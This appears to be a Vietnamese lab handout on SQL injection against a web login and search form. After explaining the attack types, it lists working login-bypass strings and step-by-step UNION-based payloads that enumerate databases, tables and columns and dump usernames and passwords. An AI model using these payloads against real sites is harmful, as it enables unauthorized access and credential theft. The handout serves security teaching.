
 

 

Lab - SQL Injection 

1. SQL Injection là gì? 
SQL Injection là kiểu khai thác lỗ hổng bảo mật, kẻ tấn công sẽ điền các code SQL vào hộp 

input từ form Web với mục đích là truy cập các tài nguyên trái phép để xem, thêm, thay đổi 

hay xóa các dữ liệu nhạy cảm. Ứng dụng web sẽ thực thi các câu truy vấn bằng cú pháp SQL 

bởi app cộng với dữ liệu người dùng nhập như hình dưới. 

 

 
 

Trong câu truy vấn ở trên, phần thứ nhất sẽ không được hiển thị cho người dùng. Ứng dụng 

sẽ gửi câu truy vấn tới database ở sau hậu trường. Phần thứ hai sẽ do người dùng nhập 

trong form web. Nếu ứng dụng không lọc dữ liệu người dùng nhập thì kẻ tấn công có thể lợi 

dụng để làm cho câu lệnh SQL nguyên bản thực thi những hành động khác trong cơ sở dữ 

liệu. 

Một trong những bước đầu tiên khi tìm các lỗ hổng SQL Injection là hiểu khi nào ứng dụng 

sẽ tương tác với database. Ví dụ như trong form đăng nhập, thanh tìm kiếm và các trang 

web thương mại điện tử. 

2. Các loại tấn công SQL Injection: 
- In-band SQL injection: kẻ tấn công thu thập thông tin sử dụng chung kênh thường dùng 

để tiêm nhiễm SQL code. Đây là kiểu thường gặp nhất khi dữ liệu được nhập trực tiếp 

vào trang web. 

- Out-band SQL Injection: kẻ tấn công sẽ nhận dữ liệu từ kênh truyền khác. Ví dụ như 

email, văn bản hoặc tin nhắn có thể bị gửi đến cho kẻ tấn công với kết quả của câu truy 

vấn.  

- Blind (or inferential) SQL injection: kẻ tấn công không khiến cho ứng dụng hiển thị hoặc 

trao đổi bất kỳ dữ liệu nào mà thu thập thông tin phản hồi và hành vi.  

3. Login bypass: 



 

 

 
- Username: 1' or '1' = '1 Password: 1' or '1' = '1 

- Username: admin’# 

- Username: admin’ or ‘1’=’1 

4. Form tìm kiếm: 

 

4.1.Tìm kiếm trong database: 

Van 

 Kết quả: chúng ta sẽ nhận được tất cả các khách hang có từ ‘Van’ trong Ho ten 

 

  



 

 

4.2. Xem thử trang có thể tiêm nhiễm không: 

‘ 

 Kết quả: hiển thị lỗi cú pháp SQL 

 

4.3. Tìm số lượng cột tồn tại: 

‘ order by 7 -- - 

 Kết quả: 

#có thể thử từ 1-7 do có 7 cột 

 

 #Nếu thử 8 

 

 4.4. Lấy tên database hiện tại : 

' and 1=0 union all select 1,2,database(),4,5,6,7 -- - 



 

 

 Kết quả: 

 

4.5. Lấy thông tin tất cả database và  tất cả các bảng trong database: 

' and 1=0 union all select 1,table_schema,table_name,4,5,6,7 from 
information_schema.tables where table_schema != 'mysql' and table_schema != 
'information_schema' -- - 

 Kết quả: 

 

 

4.6. Lấy các tên cột trong bảng: 

' and 1=0 union all select 1,table_name, column_name,4,5,6,7 from 
information_schema.columns where table_schema != 'mysql' and table_schema != 
'information_schema' and table_schema='test1' and table_name='ttdangnhaps' -- - 

 Kết quả: 



 

 

 

4.7. Lấy tất cả thông tin trong bảng: 

' and 1=0 union all select 1,KHACHHANG_MAKH,username,passwd,5,6,7 from ttdangnhaps-- - 

 Kết quả: 

 


